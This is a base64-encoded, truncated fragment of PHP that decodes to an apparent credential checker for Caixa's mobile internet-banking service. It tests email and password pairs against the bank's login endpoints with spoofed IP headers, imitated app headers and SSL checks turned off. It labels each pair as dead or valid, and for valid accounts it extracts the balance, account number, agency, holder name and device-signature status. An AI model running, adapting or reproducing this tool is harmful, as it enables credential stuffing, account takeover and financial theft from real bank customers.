dGlkZGlzcG9zaXRpdm86ICcuJGRpc3Bvc2l0aXZvMS4nQUInLiRkaXNwb3NpdGl2bzIuJ0UnLiRkaXNwb3NpdGl2bzMuJ0InLiRkaXNwb3NpdGl2bzQuJ3wnLiRkaXNwb3NpdGl2bzUuJ0QnLiRkaXNwb3NpdGl2bzYNCi4nJywNCidsYTogMC4wJywNCidwbDogMTAuMCcsDQonZW06IDAnLA0KJ3NvOiAxMScsDQonbG86IDAuMCcsDQondXNlcmFnZW50OiBNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgNi4wLjE7IFNNLUo1MDBNIEJ1aWxkL01NQjI5TTsgd3YpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIENocm9tZS84Ny4wLjQyODAuMTQxIE1vYmlsZSBTYWZhcmkvNTM3LjM2Jw0KKSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRU5DT0RJTkcsICJnemlwIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCBkaXJuYW1lKF9fRklMRV9fKSAuIi9jb29raWUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIGRpcm5hbWUoX19GSUxFX18pIC4iL2Nvb2tpZS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ1VTVE9NUkVRVUVTVCwgIkdFVCIpOw0KJFNlc3Npb24gPSBjdXJsX2V4ZWMoJGNoKTsNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8gRVJSTyBERSBDT05FWMODTyAvLy8vLy8vLy8vLy8vLy8vLy8vLy8NCmlmIChjdXJsX2Vycm9yKCRjaCkpIHsNCiAgICAgZWNobyAiPGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTogMTVweDsnPiAkZW1haWwgfCAkc2VuaGEgLSBFUlJPIERFIENPTkVYw4NPISA8YnI+IjsgcmV0dXJuOw0KfQ0KDQppZihlbXB0eSgkU2Vzc2lvbikpew0KICBlY2hvICI8Zm9udCBzdHlsZT0nZm9udC1zaXplOiAxNXB4Oyc+ICRlbWFpbCB8ICRzZW5oYSAtIE5FTkhVTSBSRVRPUk5PIE9CVElETyBOQSBTRVNTw4NPISA8YnI+IjsgcmV0dXJuOw0KfWVsc2VpZiAoc3RycG9zKCRTZXNzaW9uLCAnbG9naW5MaWdodE5vdm87anNlc3Npb25pZD0nKSkgew0KJFNlc3Npb25fSUQgPSBpblN0cigkU2Vzc2lvbiwgJ2xvZ2luTGlnaHROb3ZvO2pzZXNzaW9uaWQ9JywnP25vY2FjaGU9JywgMSk7DQokQ29va2llID0gaW5TdHIoJFNlc3Npb24sICdTZXQtQ29va2llOiBKU0VTU0lPTklEPSInLCciOycsIDEpOw0KJENvb2tpZTIgPSBpblN0cigkU2Vzc2lvbiwgJ1NldC1Db29raWU6ICcsJzsnLCAyKTsNCn1lbHNlew0KICAgZWNobyAiPGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTogMTVweDsnPiAkZW1haWwgfCAkc2VuaGEgLSBOw4NPIEZPSSBQT1NTw41WRUwgT0JURVIgQSBTRVNTw4NPISA8YnI+IjsgcmV0dXJuOw0KfQ0KDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAnaHR0cHM6Ly9tb2IuaW50ZXJuZXRiYW5raW5nLmNhaXhhLmdvdi5ici9zaW5iYy9uYi9sb2dpbi9hdXRoVXNlck5hbWVMaWdodD9ub2NhY2hlPScuJGNhY2hlLicnKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmFZKA0KJ1hfRk9SV0FSREVEX0ZPUjogJy4kaXAuJycsDQonUkVNT1RFX0FERFI6ICcuJGlwLicnLA0KJ0hvc3Q6IG1vYi5pbnRlcm5ldGJhbmtpbmcuY2FpeGEuZ292LmJyJywNCidDb25uZWN0aW9uOiBrZWVwLWFsaXZlJywNCidDYWNoZS1Db250cm9sOiBtYXgtYWdlPTAnLA0KJ1VwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHM6IDEnLA0KJ1VzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA2LjAuMTsgU00tSjUwME0gQnVpbGQvTU1CMjlNOyB3dikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi80LjAgQ2hyb21lLzg3LjAuNDI4MC4xNDEgTW9iaWxlIFNhZmFyaS81MzcuMzYnLA0KJ09yaWdpbjogbnVsbCcsDQonQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLGltYWdlL2FwbmcsKi8qO3E9MC44LGFwcGxpY2F0aW9uL3NpZ25lZC1leGNoYW5nZTt2PWIzO3E9MC45JywNCidjb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcsDQonWC1SZXF1ZXN0ZWQtV2l0aDogYnIuY29tLmdhYmJhLkNhaXhhJywNCidDb29raWU6IEpTRVNTSU9OSUQ9IicuJENvb2tpZS4nIjsgJy4kQ29va2llMi4nJw0KKSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRU5DT0RJTkcsICJnemlwIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCBkaXJuYW1lKF9fRklMRV9fKSAuIi9jb29raWUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIGRpcm5hbWUoX19GSUxFX18pIC4iL2Nvb2tpZS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ1VTVE9NUkVRVUVTVCwgIlBPU1QiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAnbm9tZVVzdWFyaW89Jy4kZW1haWwuJyZzZWdtZW50bz0xJnVzZXJBZ2VudD1Nb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgNi4wLjE7IFNNLUo1MDBNIEJ1aWxkL01NQjI5TTsgd3YpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIENocm9tZS84Ny4wLjQyODAuMTQxIE1vYmlsZSBTYWZhcmkvNTM3LjM2Jyk7DQokTG9naW5fQ1BGID0gY3VybF9leGVjKCRjaCk7DQokRVJST19MT0dJTiA9IGluU3RyKCRMb2dpbl9DUEYsICcibWVuc2FnZW1QYWdpbmFFcnJvIjoiJywnIicsIDEpOw0KDQppZihlbXB0eSgkTG9naW5fQ1BGKSl7DQogIGVjaG8gIjxmb250IHN0eWxlPSdmb250LXNpemU6IDE1cHg7Jz4gJGVtYWlsIHwgJHNlbmhhIC0gTkVOSFVNIFJFVE9STk8gT0JUSURPISA8YnI+IjsgcmV0dXJuOw0KfWVsc2VpZihzdHJwb3MoJExvZ2luX0NQRiwgJ1VTVcOBUklPIE7Dg08gQ0FEQVNUUkFETycpKSB7DQplY2hvICI8Zm9udCBzdHlsZT0nZm9udC1zaXplOiAxNHB4Oyc+PGkgc3R5bGU9J2Rpc3BsYXk6IG5vbmU7Jz5MT0dJTl9ESUU8L2k+ICRlbWFpbCB8ICRzZW5oYSAtIFVTVcOBUklPIE7Dg08gQ0FEQVNUUkFETyEgPGJyPiI7IHJldHVybjsNCn1lbHNlaWYoc3RycG9zKCRMb2dpbl9DUEYsICcidGl0dWxvUGFnaW5hRXJybyI6IkF2aXNvIiwibWVuc2FnZW1QYWdpbmFFcnJvIjoiJykpIHsNCiAgZWNobyAiPGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTogMTVweDsnPiAkZW1haWwgfCAkc2VuaGEgLSAkRVJST19MT0dJTiEgPGJyPiI7IHJldHVybjsNCn1lbHNlaWYoc3RycG9zKCRMb2dpbl9DUEYsICdpY29JZGVudGlmaWNhY2FvVXN1YXJpbycpKSB7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICdodHRwczovL21vYi5pbnRlcm5ldGJhbmtpbmcuY2FpeGEuZ292LmJyL3NpbmJjL25iL2xvZ2luL2F1dGhQYXNzd29yZExpZ2h0P25vY2FjaGU9Jy4kY2FjaGUuJycpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYVkoDQonWF9GT1JXQVJERURfRk9SOiAnLiRpcC4nJywNCidSRU1PVEVfQUREUjogJy4kaXAuJycsDQonSG9zdDogbW9iLmludGVybmV0YmFua2luZy5jYWl4YS5nb3YuYnInLA0KJ0Nvbm5lY3Rpb246IGtlZXAtYWxpdmUnLA0KJ0NhY2hlLUNvbnRyb2w6IG1heC1hZ2U9MCcsDQonVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMScsDQonVXNlci1BZ2VudDogTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDYuMC4xOyBTTS1KNTAwTSBCdWlsZC9NTUIyOU07IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvODcuMC40MjgwLjE0MSBNb2JpbGUgU2FmYXJpLzUzNy4zNicsDQonT3JpZ2luOiBudWxsJywNCidBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsaW1hZ2UvYXBuZywqLyo7cT0wLjgsYXBwbGljYXRpb24vc2lnbmVkLWV4Y2hhbmdlO3Y9YjM7cT0wLjknLA0KJ2NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywNCidYLVJlcXVlc3RlZC1XaXRoOiBici5jb20uZ2FiYmEuQ2FpeGEnLA0KJ0Nvb2tpZTogSlNFU1NJT05JRD0iJy4kQ29va2llLiciOyAnLiRDb29raWUyLicnDQopKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCB0cnVlKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9FTkNPRElORywgImd6aXAiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsIGRpcm5hbWUoX19GSUxFX18pIC4iL2Nvb2tpZS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCBkaXJuYW1lKF9fRklMRV9fKSAuIi9jb29raWUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFLCBkaXJuYW1lKF9fRklMRV9fKSAuIi9jb29raWUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DVVNUT01SRVFVRVNULCAiUE9TVCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICdyZXRvcm5vRjEwPSZwYXNzd29yZD0nLiRzZW5oYS4nJnVzZXJBZ2VudD1Nb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgNi4wLjE7IFNNLUo1MDBNIEJ1aWxkL01NQjI5TTsgd3YpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIENocm9tZS84Ny4wLjQyODAuMTQxIE1vYmlsZSBTYWZhcmkvNTM3LjM2Jyk7DQokTG9naW5fU0VOSEEgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KaWYoZW1wdHkoJExvZ2luX1NFTkhBKSl7DQogIGVjaG8gIjxmb250IHN0eWxlPSdmb250LXNpemU6IDE1cHg7Jz4gJGVtYWlsIHwgJHNlbmhhIC0gTkVOSFVNIFJFVE9STk8gT0JUSURPISA8YnI+IjsgcmV0dXJuOw0KfWVsc2VpZihzdHJwb3MoJExvZ2luX1NFTkhBLCAnU0VOSEEgREUgQUNFU1NPIE5BTyBDT05GRVJFJykpIHsNCiAgZWNobyAiPGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTogMTVweDsnPjxpIHN0eWxlPSdkaXNwbGF5OiBub25lOyc+TE9HSU5fRElFPC9pPiAkZW1haWwgfCAkc2VuaGEgLSBTRU5IQSBERSBBQ0VTU08gTkFPIENPTkZFUkUhIDxicj4iOyByZXR1cm47DQp9ZWxzZWlmKHN0cnBvcygkTG9naW5fU0VOSEEsICdTZW5oYSBkZSBhY2Vzc28gYmxvcXVlYWRhJykpIHsNCiAgZWNobyAiPGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTogMTVweDsnPjxpIHN0eWxlPSdkaXNwbGF5OiBub25lOyc+TE9HSU5fRElFPC9pPiAkZW1haWwgfCAkc2VuaGEgLSBTRU5IQSBERSBBQ0VTU08gQkxPUVVFQURBISA8YnI+IjsgcmV0dXJuOw0KfWVsc2VpZihzdHJwb3MoJExvZ2luX1NFTkhBLCAnbmFvIGV4aXN0ZW0gY29udGFzIGNhZGFzdHJhZGFzIG5lc3RlIHVzdWFyaW8nKSkgew0KICAgIGVjaG8gIjxmb250IHN0eWxlPSdmb250LXNpemU6IDE1cHg7Jz48aSBzdHlsZT0nZGlzcGxheTogbm9uZTsnPkxPR0lOX0RJRTwvaT4gJGVtYWlsIHwgJHNlbmhhIC0gQ1BGIFNFTSBDQURBU1RSTyEgPGJyPiI7IHJldHVybjsNCn1lbHNlaWYoc3RycG9zKCRMb2dpbl9TRU5IQSwgJzxodG1sPicpKSB7DQokQ29va2llX1NlbmhhID0gaW5TdHIoJExvZ2luX1NFTkhBLCAnU2V0LUNvb2tpZTogQ0NPT0tJRT0iJywnIjsnLCAxKTsNCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJ2h0dHBzOi8vbW9iLmludGVybmV0YmFua2luZy5jYWl4YS5nb3YuYnIvc2luYmMvbmIvY29tcG9uZW50U2FsZG8vYXR1YWxpemFTYWxkbz9ub2NhY2hlPScuJGNhY2hlLicnKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmFZKA0KJ1hfRk9SV0FSREVEX0ZPUjogJy4kaXAuJycsDQonUkVNT1RFX0FERFI6ICcuJGlwLicnLA0KJ0Nvb2tpZTogJy4kQ29va2llMi4nOyBDQ09PS0lFPSInLiRDb29raWVfU2VuaGEuJyInLA0KJ1VzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA2LjAuMTsgU00tSjUwME0gQnVpbGQvTU1CMjlNOyB3dikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi80LjAgQ2hyb21lLzg3LjAuNDI4MC4xNDEgTW9iaWxlIFNhZmFyaS81MzcuMzYnLA0KJ0hvc3Q6IG1vYi5pbnRlcm5ldGJhbmtpbmcuY2FpeGEuZ292LmJyJywNCidDb25uZWN0aW9uOiBLZWVwLUFsaXZlJw0KKSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRU5DT0RJTkcsICJnemlwIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCBkaXJuYW1lKF9fRklMRV9fKSAuIi9jb29raWUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIGRpcm5hbWUoX19GSUxFX18pIC4iL2Nvb2tpZS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ1VTVE9NUkVRVUVTVCwgIkdFVCIpOw0KJFZlcl9TYWxkbyA9IGN1cmxfZXhlYygkY2gpOw0KJFNhbGRvID0gaW5TdHIoJFZlcl9TYWxkbywgJyJzYWxkbyI6IicsJyInLCAxKTsNCiRDaGF2ZV9Db250YSA9IGluU3RyKCRWZXJfU2FsZG8sICciY2hhdmVSZXNvdXJjZSI6IicsJyInLCAxKTsNCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJ2h0dHBzOi8vbW9iLmludGVybmV0YmFua2luZy5jYWl4YS5nb3YuYnIvc2luYmMvbmIvY29udGFzL2xpc3RhclRvZGFzWHM/bm9jYWNoZT0nLiRjYWNoZS4nJyk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJhWSgNCidYX0ZPUldBUkRFRF9GT1I6ICcuJGlwLicnLA0KJ1JFTU9URV9BRERSOiAnLiRpcC4nJywNCidDb29raWU6ICcuJENvb2tpZTIuJzsgQ0NPT0tJRT0iJy4kQ29va2llX1NlbmhhLiciJywNCidVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgNi4wLjE7IFNNLUo1MDBNIEJ1aWxkL01NQjI5TTsgd3YpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIENocm9tZS84Ny4wLjQyODAuMTQxIE1vYmlsZSBTYWZhcmkvNTM3LjM2JywNCidIb3N0OiBtb2IuaW50ZXJuZXRiYW5raW5nLmNhaXhhLmdvdi5icicsDQonQ29ubmVjdGlvbjogS2VlcC1BbGl2ZScNCikpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIHRydWUpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0VOQ09ESU5HLCAiZ3ppcCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsIGRpcm5hbWUoX19GSUxFX18pIC4iL2Nvb2tpZS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUUsIGRpcm5hbWUoX19GSUxFX18pIC4iL2Nvb2tpZS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCBkaXJuYW1lKF9fRklMRV9fKSAuIi9jb29raWUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NVU1RPTVJFUVVFU1QsICJHRVQiKTsNCiRWZXJfQ29udGEgPSBjdXJsX2V4ZWMoJGNoKTsNCiRBRyA9IGluU3RyKCRWZXJfQ29udGEsICciYWdlbmNpYSI6IicsJyInLCAxKTsNCiRPUCA9IGluU3RyKCRWZXJfQ29udGEsICcidGlwbyI6IicsJyInLCAxKTsNCiRDQyA9IGluU3RyKCRWZXJfQ29udGEsICciY29udGEiOiInLCciJywgMSk7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICdodHRwczovL21vYi5pbnRlcm5ldGJhbmtpbmcuY2FpeGEuZ292LmJyL3NpbmJjL25iL2NsaWVudEluZm8vYnVzY2FyRGFkb3NVc3VhcmlvP25vY2FjaGU9Jy4kY2FjaGUuJyZzYWxkb1Zpc2libGU9dHJ1ZSZjb250ZXh0PXNpbmJjJnJhbmdlTWluaW1vPTAmcmFuZ2VNYXhpbW89MCcpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYVkoDQonWF9GT1JXQVJERURfRk9SOiAnLiRpcC4nJywNCidSRU1PVEVfQUREUjogJy4kaXAuJycsDQonQ29va2llOiAnLiRDb29raWUyLic7IENDT09LSUU9IicuJENvb2tpZV9TZW5oYS4nIicsDQonVXNlci1BZ2VudDogTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDYuMC4xOyBTTS1KNTAwTSBCdWlsZC9NTUIyOU07IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvODcuMC40MjgwLjE0MSBNb2JpbGUgU2FmYXJpLzUzNy4zNicsDQonSG9zdDogbW9iLmludGVybmV0YmFua2luZy5jYWl4YS5nb3YuYnInLA0KJ0Nvbm5lY3Rpb246IEtlZXAtQWxpdmUnDQopKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCB0cnVlKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9FTkNPRElORywgImd6aXAiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsIGRpcm5hbWUoX19GSUxFX18pIC4iL2Nvb2tpZS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCBkaXJuYW1lKF9fRklMRV9fKSAuIi9jb29raWUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFLCBkaXJuYW1lKF9fRklMRV9fKSAuIi9jb29raWUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DVVNUT01SRVFVRVNULCAiR0VUIik7DQokVmVyX0RhZG9zID0gY3VybF9leGVjKCRjaCk7DQokTk9NRSA9IGluU3RyKCRWZXJfRGFkb3MsICcibm9tZSI6IicsJyAiJywgMSk7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICdodHRwczovL21vYi5pbnRlcm5ldGJhbmtpbmcuY2FpeGEuZ292LmJyL3NpbmJjL25iL2NhZERpc3Bvc2l0aXZvL3JlY3VwZXJhU2l0dWFjYW9Bc3NpbmF0dXJhP189Jy4kY2FjaGUuJycpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYVkoDQonWF9GT1JXQVJERURfRk9SOiAnLiRpcC4nJywNCidSRU1PVEVfQUREUjogJy4kaXAuJycsDQonQ29va2llOiAnLiRDb29raWUyLic7IENDT09LSUU9IicuJENvb2tpZV9TZW5oYS4nIicsDQonVXNlci1BZ2VudDogTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDYuMC4xOyBTTS1KNTAwTSBCdWlsZC9NTUIyOU07IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvODcuMC40MjgwLjE0MSBNb2JpbGUgU2FmYXJpLzUzNy4zNicsDQonSG9zdDogbW9iLmludGVybmV0YmFua2luZy5jYWl4YS5nb3YuYnInLA0KJ0Nvbm5lY3Rpb246IEtlZXAtQWxpdmUnDQopKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCB0cnVlKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9FTkNPRElORywgImd6aXAiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsIGRpcm5hbWUoX19GSUxFX18pIC4iL2Nvb2tpZS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCBkaXJuYW1lKF9fRklMRV9fKSAuIi9jb29raWUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFLCBkaXJuYW1lKF9fRklMRV9fKSAuIi9jb29raWUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DVVNUT01SRVFVRVNULCAiR0VUIik7DQokVmVyX0Fzc2luYXR1cmEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmKHN0cnBvcygkVmVyX